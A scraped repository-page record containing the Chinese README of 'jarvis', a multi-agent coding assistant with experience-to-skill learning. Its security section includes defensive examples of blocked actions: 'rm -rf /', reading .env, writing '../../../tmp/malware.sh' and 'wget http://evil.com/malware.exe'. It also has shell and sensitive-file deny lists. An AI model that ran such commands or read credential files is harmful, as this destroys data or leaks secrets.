[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-80937":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":12,"rankGlobal":9,"rankLanguage":9,"license":15,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":16,"topics":19,"createdAt":9,"pushedAt":9,"updatedAt":20,"readmeContent":21,"aiSummary":22,"trendingCount":12,"starSnapshotCount":12,"syncStatus":23,"lastSyncTime":24,"discoverSource":25},80937,"jarvis","Yzy1223\u002Fjarvis","Yzy1223","带终身学习机制的多智能体协作系统",null,"Python",33,0,32,1,"Apache License 2.0",false,"master",true,[],"2026-06-12 02:04:08","# J.A.R.V.I.S. (Just A Rather Very Intelligent System)\n\n**带终身学习机制的多智能体协作系统**\n\n数据不出网 · 越用越聪明 · 自动提炼技能 · 六层安全防护\n\n---\n\n[![Python 3.10+](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpython-3.10+-blue.svg)](https:\u002F\u002Fwww.python.org\u002Fdownloads\u002F)\n[![License](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flicense-Apache%202.0-green.svg)](LICENSE)\n[![LangChain](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLangChain-0.2+-orange.svg)](https:\u002F\u002Fgithub.com\u002Flangchain-ai\u002Flangchain)\n[![LangGraph](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLangGraph-0.1+-purple.svg)](https:\u002F\u002Fgithub.com\u002Flangchain-ai\u002Flanggraph)\n\n---\n\n## 🎯 核心理念\n\n> **打造一个越用越聪明、越用越顺手的类人型智能助理。**\n\n通过三层 Agent 协作完成复杂任务，并借助满意度反馈与记忆进化，实现从\"经验\"到\"技能\"的自动提炼。\n\n**当前版本：** v2.1\n\n---\n\n## ✨ 为什么做这个\n\n现有 AI 编程助手（Cursor、GitHub Copilot、Devin）都有一个问题：**每次对话都是全新开始，不会从历史任务中学习**。\n\nJ.A.R.V.I.S. 的思路不同：\n\n- ✅ **记住每次成功的经验**：用户满意后自动提炼经验，向量化存储\n- ✅ **自动孵化可复用技能**：经验被使用 ≥3 次 → 自动提炼为 Skill\n- ✅ **越用越懂你的项目**：World Model 持续更新项目结构、依赖关系、用户偏好\n- ✅ **失败也能学习**：Reflection Engine 深度反思，避免重蹈覆辙\n\n---\n\n## 🚀 核心特性\n\n### 1. 三层 Agent 架构\n\n```\n┌─────────────────────────────────────────────────────────────┐\n│ 第一层：规划与编排 (Orchestrator)                             │\n│ • 意图识别 → 技术栈推荐 → 任务拆解 → 动态创建 Worker 集群      │\n└─────────────────────────┬───────────────────────────────────┘\n                          ↓\n┌─────────────────────────────────────────────────────────────┐\n│ 第二层：执行 Agent 集群 (Workers)                             │\n│ • Frontend Agent · Backend Agent · Database Agent · Test Agent │\n│ • 实际写代码、执行命令、操控电脑                               │\n└─────────────────────────┬───────────────────────────────────┘\n                          ↓\n┌─────────────────────────────────────────────────────────────┐\n│ 第三层：校验与进化 (Inspector & Cortex)                       │\n│ • Inspector: A2A\u002FMCP 协议校验，不合规退回修正                 │\n│ • Cortex: 满意度驱动的经验提炼与向量化存储                     │\n│ • Skill Forge: 经验被用 ≥3 次 → 自动提炼为可复用技能          │\n│ • Reflection Engine: 深度反思，五维分析失败原因               │\n└─────────────────────────────────────────────────────────────┘\n```\n\n### 2. 终身学习机制\n\n| 阶段 | 触发条件 | 效果 |\n|------|---------|------|\n| **经验提炼** | 用户满意 | Cortex 提取执行步骤、用户偏好、成功模式 → 向量存储 |\n| **技能孵化** | 经验被使用 ≥3 次 | Skill Forge 自动提炼为可复用 Skill |\n| **直接调用** | 第 4 次遇到同类任务 | Orchestrator 跳过讨论，直接执行 |\n\n**实际效果：**\n- 第 1 次：完整讨论 + 执行（5 分钟）\n- 第 2-3 次：检索到经验，参考执行（3 分钟）\n- 第 4 次起：直接调用 Skill（1 分钟）\n\n### 3. 六层安全防护\n\n| 防护层 | 机制 | 拦截示例 |\n|--------|------|---------|\n| **路径沙盒** | 所有文件操作限制在项目目录内 | `..\u002F..\u002F..\u002Fetc\u002Fpasswd` → ❌ |\n| **敏感文件黑名单** | 禁止读写 `.env`、`id_rsa` 等 | `read_file(\".env\")` → ❌ |\n| **Shell 白名单** | 只允许 `pip`、`npm`、`git` 等 | `wget malware.exe` → ❌ |\n| **Shell 黑名单** | 绝对禁止 `rm -rf`、`shutdown` 等 | `rm -rf \u002F` → ❌ |\n| **MCP 协议校验** | 工具调用审计 + 敏感字段检测 | `{api_key: \"xxx\"}` → ❌ |\n| **Inspector 实时校验** | 所有 Worker 输出经过检查 | 格式错误 → 退回修正 |\n\n**Agent 基本不可能跳出工作目录搞破坏！**\n\n### 4. World Model（系统世界状态）\n\nAgent 不仅理解 Prompt，还理解：\n- 当前项目结构\n- 模块依赖关系\n- 系统运行状态\n- 用户长期偏好\n- 动态环境变化\n\n**与 agent.md 的关系：**\n- `agent.md`：行为规范（安全规则、输出规范、工具约束）\n- `WorldModel`：动态系统状态（项目结构、依赖关系、运行状态）\n\n### 5. Reflection Engine（反思引擎）\n\n**轻量反思**（每次任务自动触发）：\n- 记录执行路径\n- 记录性能指标\n- 记录返工点\n- 总结成功模式\n\n**深度反思**（用户不满意时触发）：\n- **五维分析**：目标偏差、决策错误、执行错误、协作错误、工具失败\n- 生成 Reflection Log\n- 更新 World Model 和 agent.md 规则\n\n---\n\n## 📦 快速开始\n\n### 系统要求\n\n- Python 3.10+\n- 任意 OpenAI 兼容 API（DeepSeek \u002F 硅基流动 \u002F Qwen 云端 \u002F 本地 Ollama）\n\n### 安装\n\n```bash\ncd jarvis\npip install -r requirements.txt\n\n# 国内加速\npip install -r requirements.txt -i https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\n```\n\n### 配置 API Key\n\n编辑 `.env` 文件：\n\n```bash\nOPENAI_API_KEY=your-api-key-here\nOPENAI_BASE_URL=https:\u002F\u002Fapi.openai-proxy.org\u002Fv1\nOPENAI_MODEL=gpt-4o\n```\n\n**支持的 API：**\n- OpenAI \u002F Azure OpenAI\n- DeepSeek (`https:\u002F\u002Fapi.deepseek.com`)\n- 硅基流动 (`https:\u002F\u002Fapi.siliconflow.cn\u002Fv1`)\n- Qwen 云端\n- 本地 Ollama (`http:\u002F\u002Flocalhost:11434\u002Fv1`)\n\n### 启动\n\n```bash\n# 简单模式（推荐调试）\npython main.py\n\n# LangGraph 完整工作流模式（推荐生产）\npython main.py graph\n```\n\n---\n\n## 💡 使用示例\n\n### 示例 1：学生成绩统计系统\n\n**你输入：**\n```\n帮我写一个学生成绩统计系统，实现每次期末能录入学生成绩并自动算绩点，\n模拟数据只模拟两个人数据。前端用 React，JS,CSS,HTML5\n```\n\n**系统执行流程：**\n\n1. **意图识别** → 识别为 `fullstack_web` 任务\n2. **检索经验\u002F技能** → 第一次运行，经验库为空\n3. **推荐技术栈** → `React 18 + FastAPI + SQLite（内存模式）`\n4. **用户确认** → 你输入 \"可以，就这样\"\n5. **任务拆解** → 3 个子任务：\n   - 数据库设计（Student、Grade 模型）\n   - 后端 API（CRUD + 绩点计算）\n   - 前端界面（成绩录入表单 + 展示列表）\n6. **Worker 执行** → 依次执行 DatabaseAgent → BackendAgent → FrontendAgent\n7. **Inspector 校验** → 检查 A2A 消息格式、MCP 工具调用\n8. **满意度询问** → 你输入 \"满意\"\n9. **Cortex 提炼经验** → 向量化存入经验库\n10. **Skill Forge 监控** → 使用次数 +1（达到 3 次后自动提炼为 Skill）\n\n**第 4 次遇到同类任务时：**\n```\nJ.A.R.V.I.S.: 我已有成熟的「create_student_grade_system」技能（成功率 100%），\n可以直接开始。\n\n推荐架构：React + FastAPI + SQLite\n\n是否立即开始？\n```\n\n---\n\n## 🏗️ 项目结构\n\n```\njarvis\u002F\n├── agent.md                    # 全局 Agent 行为规范\n├── main.py                     # 系统入口（Simple \u002F Graph 模式）\n├── requirements.txt            # Python 依赖\n├── .env                        # 环境变量（API Key）\n├── .gitignore                  # Git 忽略规则\n│\n├── config\u002F                     # 全局配置\n│   ├── settings.py             # 从 .env 读取配置\n│   └── __init__.py\n│\n├── core\u002F                       # 核心基础模块\n│   ├── agent_base.py           # Agent 基类\n│   ├── world_model.py          # 世界模型（单例）\n│   ├── agent_md_cache.py       # agent.md KV 缓存\n│   └── __init__.py\n│\n├── agents\u002F                     # 三层 Agent 实现\n│   ├── layer1_orchestrator\u002F    # 第一层：规划与编排\n│   │   ├── orchestrator.py     # 总指挥\n│   │   ├── intent_recognizer.py # 意图识别\n│   │   ├── task_planner.py     # 任务拆解\n│   │   └── __init__.py\n│   │\n│   ├── layer2_workers\u002F         # 第二层：执行 Agent 集群\n│   │   ├── worker_base.py      # Worker 基类\n│   │   ├── frontend_agent.py   # 前端 Worker\n│   │   ├── backend_agent.py    # 后端 Worker\n│   │   ├── database_agent.py   # 数据库 Worker\n│   │   ├── test_agent.py       # 测试 Worker\n│   │   └── __init__.py\n│   │\n│   └── layer3_inspector\u002F       # 第三层：校验与进化\n│       ├── inspector.py        # 协议校验\n│       ├── cortex.py           # 经验提炼\n│       ├── skill_forge.py      # 技能孵化\n│       ├── reflection_engine.py # 反思引擎\n│       └── __init__.py\n│\n├── protocols\u002F                  # A2A \u002F MCP 协议实现\n│   ├── a2a.py                  # Agent-to-Agent 协议\n│   ├── mcp.py                  # Model Context Protocol\n│   └── __init__.py\n│\n├── tools\u002F                      # 行动层工具集\n│   ├── shell_exec.py           # Shell 命令执行\n│   ├── file_write.py           # 文件写入\n│   ├── file_read.py            # 文件读取\n│   ├── browser_action.py       # 无头浏览器控制\n│   └── __init__.py\n│\n├── memory\u002F                     # 记忆与存储\n│   ├── vector_store.py         # Chroma 向量数据库\n│   ├── experience_store.py     # 经验库管理\n│   ├── skill_store.py          # 技能库管理\n│   └── __init__.py\n│\n├── models\u002F                     # 数据模型定义\n│   ├── task.py                 # Task + SubTask\n│   ├── experience.py           # 经验摘要\n│   ├── skill.py                # 可复用技能\n│   ├── reflection_log.py       # 反思日志\n│   └── __init__.py\n│\n├── graph\u002F                      # LangGraph 工作流编排\n│   ├── main_graph.py           # 主工作流图\n│   └── __init__.py\n│\n├── data\u002F                       # 数据存储（自动创建）\n│   └── chroma\u002F                 # 向量数据库\n│       ├── experiences\u002F        # 经验库\n│       └── skills\u002F             # 技能库\n│\n└── logs\u002F                       # 日志文件（自动创建）\n    └── jarvis.log              # 系统运行日志\n```\n\n---\n\n## 🔬 核心技术原理\n\n### 原理一：三层 Agent 解耦\n\n**传统 Agent 问题：**\n- 单一 Agent 承担所有职责（理解、规划、执行、校验）\n- 出错后难以定位问题\n- 无法积累经验\n\n**J.A.R.V.I.S. 解法：**\n- **第一层**：只做规划，不执行\n- **第二层**：只做执行，不决策\n- **第三层**：只做校验和进化，不干预执行\n\n**好处：**\n- 职责清晰，易于调试\n- 每层可独立优化\n- 第三层可以持续学习，不影响执行层\n\n### 原理二：满意度驱动的记忆提炼\n\n**理论来源：**\n- EE-MCP (NeurIPS 2025)：从任务轨迹自动提取经验\n- Reflexion (NeurIPS 2023)：失败模式持久化\n\n**J.A.R.V.I.S. 实现：**\n\n```python\n用户满意\n  ↓\nCortex 回顾完整对话历史\n  ↓\nLLM 提取：执行步骤 + 用户偏好 + 成功模式\n  ↓\n生成 Experience 对象\n  ↓\nEmbedding 向量化\n  ↓\n存入 Chroma 向量库\n```\n\n**关键设计：**\n- 只在用户满意时提炼（避免学习错误经验）\n- 向量化后支持语义检索（不是简单的关键词匹配）\n- 记录使用次数，触发 Skill Forge\n\n### 原理三：经验 → 技能的自动进化\n\n**理论来源：**\n- SICA (arXiv:2504.15228)：自我改进编码代理\n\n**J.A.R.V.I.S. 实现：**\n\n```python\n经验被使用 1 次 → use_count = 1\n经验被使用 2 次 → use_count = 2\n经验被使用 3 次 → 触发 Skill Forge\n  ↓\nLLM 横向对比 3 次使用上下文\n  ↓\n提炼通用执行步骤 + 决策逻辑 + 避坑原则\n  ↓\n生成 Skill 对象\n  ↓\n存入技能库\n```\n\n**关键设计：**\n- 阈值可配置（默认 3 次）\n- 提炼时对比多次上下文，提取稳定模式\n- Skill 包含 `prompt_template`，Orchestrator 可直接调用\n\n### 原理四：A2A + MCP 双协议保障\n\n**A2A (Agent-to-Agent) 协议：**\n- 所有 Agent 间通信必须使用标准消息格式\n- 包含 `sender`、`receiver`、`message_type`、`payload`、`timestamp`\n- Inspector 实时校验，不合规退回修正\n\n**MCP (Model Context Protocol) 协议：**\n- 所有工具调用必须携带上下文（`session_id`、`agent_name`、`task_id`）\n- 工具白名单：只允许 `shell_exec`、`file_write`、`file_read`、`browser_action`\n- 敏感字段检测：禁止在 parameters 中传递 `api_key`、`password` 等\n\n**好处：**\n- 异构 Agent 可互操作\n- 所有通信可审计\n- 安全策略统一执行\n\n### 原理五：World Model 持续更新\n\n**传统 Agent 问题：**\n- 只有对话历史，没有系统状态\n- 不知道当前项目结构、依赖关系\n- 每次都要重新理解项目\n\n**J.A.R.V.I.S. 解法：**\n\n```python\nDatabaseAgent 完成\n  ↓\n更新 WorldModel.project_structure\n  ↓\n更新 WorldModel.dependencies (backend → database)\n  ↓\n更新 WorldModel.service_status (database: schema_ready)\n  ↓\nBackendAgent 执行前读取 WorldModel\n  ↓\n知道数据库已就绪，可以直接开发 API\n```\n\n**关键设计：**\n- 单例模式，所有 Agent 共享\n- 每个 Agent 执行前调用 `_pre_action_check()` 刷新\n- 记录项目结构、模块依赖、文件影响图、服务状态、用户偏好\n\n---\n\n## 🛡️ 安全机制详解\n\n### 场景 1：Agent 尝试删除系统文件\n\n```python\n# Agent 生成的恶意命令\nexec_shell(\"rm -rf \u002Fetc\u002Fpasswd\")\n```\n\n**防护结果：**\n```\n❌ PermissionError: 禁止执行破坏性命令: rm -rf\n🔒 第 3 层拦截（Shell 黑名单）\n```\n\n### 场景 2：Agent 尝试读取 API Key\n\n```python\n# Agent 尝试读取 .env\nread_file(\".env\")\n```\n\n**防护结果：**\n```\n❌ PermissionError: 禁止读取敏感文件: .env\n🔒 第 2 层拦截（敏感文件黑名单）\n```\n\n### 场景 3：Agent 尝试越界写文件\n\n```python\n# Agent 尝试写入项目外\nwrite_file(\"..\u002F..\u002F..\u002Ftmp\u002Fmalware.sh\", \"evil code\")\n```\n\n**防护结果：**\n```\n❌ PermissionError: 文件路径越界: \u002Ftmp\u002Fmalware.sh\n🔒 第 1 层拦截（路径沙盒）\n```\n\n### 场景 4：Agent 尝试下载恶意软件\n\n```python\n# Agent 尝试用 wget 下载\nexec_shell(\"wget http:\u002F\u002Fevil.com\u002Fmalware.exe\")\n```\n\n**防护结果：**\n```\n❌ PermissionError: 命令 'wget' 不在白名单内\n🔒 第 3 层拦截（Shell 白名单）\n```\n\n---\n\n## 📊 与竞品对比\n\n| 功能 | Cursor | GitHub Copilot | Devin | J.A.R.V.I.S. |\n|------|--------|----------------|-------|--------------|\n| **数据安全** | ❌ 代码上传云端 | ❌ 代码上传云端 | ❌ 代码上传云端 | ✅ 全部本地 |\n| **终身学习** | ❌ | ❌ | ❌ | ✅ 独有 |\n| **技能孵化** | ❌ | ❌ | ❌ | ✅ 独有 |\n| **World Model** | ❌ | ❌ | ❌ | ✅ 独有 |\n| **Reflection Engine** | ❌ | ❌ | ❌ | ✅ 独有 |\n| **多 Agent 协作** | ❌ | ❌ | ✅ | ✅ |\n| **协议校验** | ❌ | ❌ | ❌ | ✅ A2A + MCP |\n| **开源** | ❌ | ❌ | ❌ | ✅ Apache 2.0 |\n\n---\n\n## 🔧 技术栈\n\n| 组件 | 技术选型 |\n|------|----------|\n| 基础 Agent 框架 | LangChain + LangGraph |\n| A2A 协议 | 自研（参考 Google A2A 标准） |\n| MCP 协议 | 自研（参考 Anthropic MCP 规范） |\n| 向量数据库 | Chroma（本地持久化） |\n| Embedding 模型 | OpenAI text-embedding-3-large |\n| 行为规范缓存 | 内存 KV 存储（可选 Redis） |\n| 日志系统 | Loguru |\n| 配置管理 | Pydantic Settings |\n\n---\n\n## 📚 参考文献\n\n| 论文\u002F项目 | 来源 | J.A.R.V.I.S. 中的应用 |\n|-----------|------|---------------------|\n| **Agentless** | Xia et al., ICSE 2025 | 确定性流水线优于复杂 agent，三层架构基于此思路 |\n| **EE-MCP** | NeurIPS 2025 | 任务轨迹经验提取，Cortex 的核心机制 |\n| **SICA** | arXiv:2504.15228 | 自我改进编码代理，Skill Forge 借鉴其自我优化循环 |\n| **Reflexion** | Shinn et al., NeurIPS 2023 | 失败模式持久化，Reflection Engine 直接实现 |\n| **Claude Code** | Anthropic | agent.md 行为规范、Checkpoint 机制、Inspector 设计 |\n| **Google A2A** | Google | Agent-to-Agent 协议标准 |\n| **Anthropic MCP** | Anthropic | Model Context Protocol 规范 |\n\n---\n\n## 🤝 参与贡献\n\n欢迎贡献代码！详细规范见 [CONTRIBUTING.md](CONTRIBUTING.md)。\n\n### 快速开始\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002Fyour-username\u002Fjarvis.git\ncd jarvis\npip install -r requirements.txt\npython -m pytest tests\u002F -v\n```\n\n### 最欢迎的贡献\n\n| 类型 | 说明 |\n|------|------|\n| **新增 Worker** | 创建新的专业 Agent（如 DevOps Agent、Security Agent） |\n| **Bug 修复** | 附复现步骤和测试用例 |\n| **性能优化** | 向量检索速度、LLM 调用优化 |\n| **文档完善** | 使用教程、API 文档 |\n\n---\n\n## 📄 License\n\nApache 2.0\n\n---\n\n## 🙏 致谢\n\n感谢以下项目的启发：\n- [LangChain](https:\u002F\u002Fgithub.com\u002Flangchain-ai\u002Flangchain) - Agent 框架基础\n- [LangGraph](https:\u002F\u002Fgithub.com\u002Flangchain-ai\u002Flanggraph) - 工作流编排\n- [Chroma](https:\u002F\u002Fgithub.com\u002Fchroma-core\u002Fchroma) - 向量数据库\n- [Claude Code](https:\u002F\u002Fwww.anthropic.com) - agent.md 行为规范设计\n- [kwcode](https:\u002F\u002Fgithub.com\u002Fval1813\u002Fkwcode) - README 风格参考\n\n---\n\n## 📮 联系方式\n\n- **Issues**: [GitHub Issues](https:\u002F\u002Fgithub.com\u002Fyour-username\u002Fjarvis\u002Fissues)\n- **Discussions**: [GitHub Discussions](https:\u002F\u002Fgithub.com\u002Fyour-username\u002Fjarvis\u002Fdiscussions)\n\n---\n\n**让 AI 助手真正理解你的项目，越用越聪明！** 🚀\n","J.A.R.V.I.S. 是一个具备终身学习机制的多智能体协作系统，旨在通过三层Agent架构和自动技能提炼功能来提升开发效率。该项目采用Python语言编写，利用LangChain与LangGraph等技术实现复杂任务的规划、执行及校验。其核心特性包括基于用户满意度反馈的记忆进化机制、从经验中自动孵化可复用技能的能力以及六层安全防护措施以确保操作的安全性。适用于需要持续改进并适应特定项目环境的软件开发场景，尤其是对于那些希望AI助手能够随着时间推移而变得更加智能和高效的开发者来说，J.A.R.V.I.S. 提供了一个非常有吸引力的选择。",2,"2026-06-11 04:02:55","CREATED_QUERY"]